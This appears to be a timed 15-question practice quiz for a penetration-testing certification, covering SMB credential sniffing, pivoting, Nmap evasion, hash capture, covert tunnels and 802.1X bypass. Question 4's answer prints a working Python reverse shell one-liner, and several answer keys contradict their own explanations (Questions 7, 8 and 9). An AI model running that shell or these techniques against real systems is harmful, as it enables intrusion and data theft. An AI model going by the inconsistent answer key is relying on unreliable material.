CPENT Network And Perimeter Exploitation — Timed 15 Questions

Question 1

During an internal assessment, a tester wants to extract cleartext credentials from network traffic passing through a switched network segment where they have achieved ARP spoofing positioning. Which Wireshark display filter isolates SMB authentication handshakes to locate cleartext credential exchanges?

15 minute time limit — choose an answer to begin.

Accepted Answer

smb || smb2. SMB and SMB2 authentication handshakes carry NTLMSSP challenge/response messages, and in misconfigured or legacy environments the NTLMv1 or even cleartext credentials can be observed. The Wireshark display filter 'smb || smb2' matches both the legacy SMB1 and modern SMB2/3 protocols, isolating those authentication exchanges from other traffic. Once filtered, the tester can follow the TCP stream or inspect the Session Setup Request/Response to extract NTLM hashes or, in rare downgrade cases, cleartext credentials.

Answer

kerberos

Answer

ldap

Answer

http.request or ftp.request

Question 2

During an internal network assessment, a tester discovers that direct routing to a segmented VLAN is blocked, but an accessible host on that VLAN is running an SSH server. Which Metasploit auxiliary module can be used to set up a routing table so subsequent exploit modules can reach the isolated subnet through the compromised SSH host?

Accepted Answer

post/multi/manage/autoroute. post/multi/manage/autoroute is the Metasploit post-exploitation module that adds routes to the framework's routing table, allowing subsequent modules to pivot through a compromised session (including SSH) into otherwise unreachable subnets. After running it against the SSH session, the tester can target hosts on the segmented VLAN directly from Metasploit.

Answer

auxiliary/server/socks4a

Answer

auxiliary/scanner/portscan/tcp

Answer

exploit/unix/ssh/libssh_auth_bypass

Question 3

An external penetration tester is tasked with enumerating valid usernames on an enterprise Microsoft Active Directory environment through the SMB protocol without triggering account lockout policies. Which tool is standard for this task?

Accepted Answer

Enum4linux. enum4linux or rpcclient can enumerate users. From an Nmap perspective, script-based enumeration using smb-enum-users is common, but specialized tools like enum4linux query RID cycling.

Answer

Aircrack-ng

Answer

John the Ripper

Answer

Hydra

Question 4

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 5

An attacker has gained access to a Linux machine and wants to scan the local subnet for live hosts using raw sockets via ping sweep, but does not have root privileges. Which Nmap flag allows unprivileged users to perform host discovery and port scanning without raw socket access?

Accepted Answer

--unprivileged. The '--unprivileged' flag tells Nmap to operate without raw socket access, allowing unprivileged users to perform host discovery and port scanning using TCP connect() scans. It is the correct option for non-root users who cannot create raw packets.

Answer

-sP

Answer

--privileged

Answer

-Pn

Question 6

A penetration tester is operating inside a segmented corporate network and needs to scan a target subnet using TCP SYN packets while randomizing the order of scanned hosts and ports to evade intrusion detection systems. Which Nmap option implements this randomization?

Accepted Answer

--randomize-hosts. The --randomize-hosts option tells Nmap to randomize the order in which it scans hosts, helping to evade threshold-based IDS/IPS alerts.

Answer

-T0

Answer

--spoof-mac

Answer

-D

Question 7

When performing a network penetration test against an organization with strict perimeter defenses, which TWO Nmap scanning techniques can be utilized to map out firewall rules and filter states? (Choose TWO)

Accepted Answer

-sS. TCP ACK scan (-sA) and TCP Window scan (-sW) are specifically designed to map firewall rulesets and determine whether ports are filtered or unfiltered by examining TCP window sizes and RST responses.

Answer

-sT

Answer

-sU

Question 8

When pivoting through a compromised Windows system during an internal engagement, you need to enumerate active TCP and UDP network connections, listening ports, and associated routing tables using native operating system binaries. Which THREE of the following commands or tools native to Windows can be used to gather this network enumeration data?

Accepted Answer

arp -a. Option D, netstat -ano, is correct because netstat is a native Windows binary that displays active TCP and UDP connections, listening ports, and with the -o flag it also shows the owning process ID (PID) for each connection, making it ideal for pivoting and mapping network activity. Option E, route print, is correct because it is a native Windows command that dumps the IPv4 and IPv6 routing tables, revealing network routes, gateways, and interfaces that help identify reachable subnets during pivoting. Option A, arp -a, is correct because it is a native Windows utility that lists the current ARP cache, showing IP-to-MAC mappings of hosts recently communicated with on the local segment, which aids in host discovery and lateral movement. Option B, systeminfo, is not correct because it only reports OS configuration, patch level, and hardware details, not active connections, listening ports, or routing tables. Option C, ipconfig /release, is not correct because it merely releases the DHCP lease on an interface, which would disrupt network connectivity rather than enumerate connections, ports, or routes.

Answer

systeminfo

Answer

ipconfig /release

Question 9

During an assessment of network perimeter services, you discover a misconfigured Simple Network Management Protocol (SNMP) daemon running on a core router. Which THREE of the following tools or Metasploit auxiliary modules can be leveraged to enumerate sensitive information such as running processes, network interfaces, and routing tables via SNMP?

Accepted Answer

auxiliary/scanner/snmp/snmp_login. SNMP enumeration can be performed using dedicated command-line utilities like snmpwalk, as well as Metasploit auxiliary modules such as auxiliary/scanner/snmp/snmp_enum and auxiliary/scanner/snmp/snmp_login.

Answer

exploit/windows/smb/ms17_010_eternalblue

Answer

auxiliary/scanner/http/dir_scanner

Question 10

A penetration tester has compromised a Windows host inside a segmented network. The tester wants to reach a server on a different VLAN that is not directly routable from the compromised host but is accessible from a domain controller that the host can communicate with. Which technique best allows the tester to access the target server's SMB service through the domain controller?

Accepted Answer

Use netsh interface portproxy on the domain controller to forward traffic to the target server.. The netsh interface portproxy command allows a Windows host to act as a TCP proxy, forwarding connections from a local listening port to a specified remote destination. By configuring this on the domain controller, which has network access to the target VLAN, the tester can tunnel SMB traffic through it. This leverages native Windows functionality without requiring additional services or credentials beyond the ability to execute commands on the domain controller.

Answer

Use SSH local port forwarding from the compromised host to the domain controller.

Answer

Create a VPN tunnel from the compromised host to the target server using OpenVPN.

Answer

Configure a SOCKS proxy using Metasploit's autoroute and then use proxychains to reach the target.

Question 11

During an internal penetration test, you gain access to a Windows Server 2019 host that has SMB signing disabled. You want to capture NetNTLMv2 challenge-response hashes from other hosts on the same subnet without relying on a user opening a file. Which technique should you use?

Accepted Answer

Responder with SMB and HTTP poisoning enabled. Responder exploits broadcast name resolution protocols (LLMNR, NBT-NS, mDNS) to impersonate services and capture NetNTLMv2 hashes from hosts attempting to authenticate. When SMB signing is disabled, those captured hashes can also be relayed. This method requires no user interaction and is highly effective on internal networks where these protocols are enabled. The other options either require prior hash capture, target different protocols, or need user action.

Answer

SMB relay attack using ntlmrelayx.py with a target list

Answer

Kerberoasting using Impacket's GetUserSPNs.py

Answer

ARP spoofing with Ettercap to intercept SMB traffic

Question 12

During a perimeter penetration test, you discover that the target organization's Cisco ASA firewall allows outbound DNS (UDP/53) to any external resolver. You want to establish a covert bidirectional command-and-control channel that survives NAT and is difficult for the firewall's application inspection to distinguish from legitimate traffic. Which technique best fits this requirement?

Accepted Answer

Tunnel TCP traffic inside DNS TXT record queries and responses using a tool such as iodine.. Because only UDP/53 to an external resolver is allowed, the covert channel must ride inside DNS itself. Encoding IP traffic within TXT queries and responses produces legitimate-looking recursive resolution, maintains NAT state, and bypasses application inspection that would flag anomalous protocols. Raw shells on port 53 lack DNS structure, and SMB or HTTPS tunnels depend on ports that are not permitted in this scenario.

Answer

Encapsulate the C2 traffic in SMB over TCP/445 and rely on the firewall allowing internal file sharing.

Answer

Use a reverse TCP shell over port 53/TCP to the external listener on the attacker's system.

Answer

Tunnel the C2 inside HTTPS on TCP/443 to a legitimate-looking domain fronted by a CDN.

Question 13

A penetration tester is performing an external network assessment and discovers a Cisco router with SNMP enabled. The tester wants to extract the running configuration to identify potential weaknesses. Which SNMP operation and community string combination is most likely to succeed if the device uses default settings?

Accepted Answer

SNMP WALK with community string 'public'. SNMP WALK using the default read-only community string 'public' is a standard technique to enumerate a device's MIB and extract system information. On Cisco routers, this can reveal interface details, routing tables, and sometimes configuration snippets. While a full config extraction may require additional steps like SNMP SET to trigger a TFTP copy, the WALK is the most likely initial success with default settings.

Answer

SNMP SET with community string 'private'

Answer

SNMP GET with community string 'public'

Answer

SNMP TRAP with community string 'private'

Question 14

You are performing a penetration test against a network that uses 802.1X authentication for wired ports. You have physical access to an unoccupied office and want to bypass port-based authentication to gain network access. Which technique should you use?

Accepted Answer

802.1X authentication relay using a bridge. An 802.1X authentication relay attack uses a transparent bridge to relay EAPOL frames between an authorized supplicant and the switch, effectively allowing the attacker to share the authenticated port. This bypasses port-based authentication without credentials. Other methods like MAC spoofing or DHCP do not satisfy the EAPOL exchange, and EAPOL logoff only disrupts existing sessions.

Answer

EAPOL logoff packet injection

Answer

MAC spoofing of an authorized device

Answer

Rogue DHCP server to assign IP addresses

Question 15

You are performing a penetration test against a network protected by a stateful firewall that only allows outbound TCP port 443. You have compromised an internal Windows host and need to establish a covert channel to exfiltrate data to your external server. Which TWO methods would allow you to tunnel data out through the firewall? (Choose two.)

Accepted Answer

TLS tunnel using stunnel on port 443. The firewall only allows outbound TCP port 443, so any tunneling must use that port. HTTP CONNECT proxy tunnels and TLS tunnels (e.g., stunnel) both operate over TCP 443 and can encapsulate data, making them valid. DNS, SSH, and ICMP tunnels rely on other ports or protocols that are blocked, so they would not work in this scenario.

Answer

ICMP tunneling with ptunnel

Answer

DNS tunneling using iodine

Answer

SSH tunneling over port 22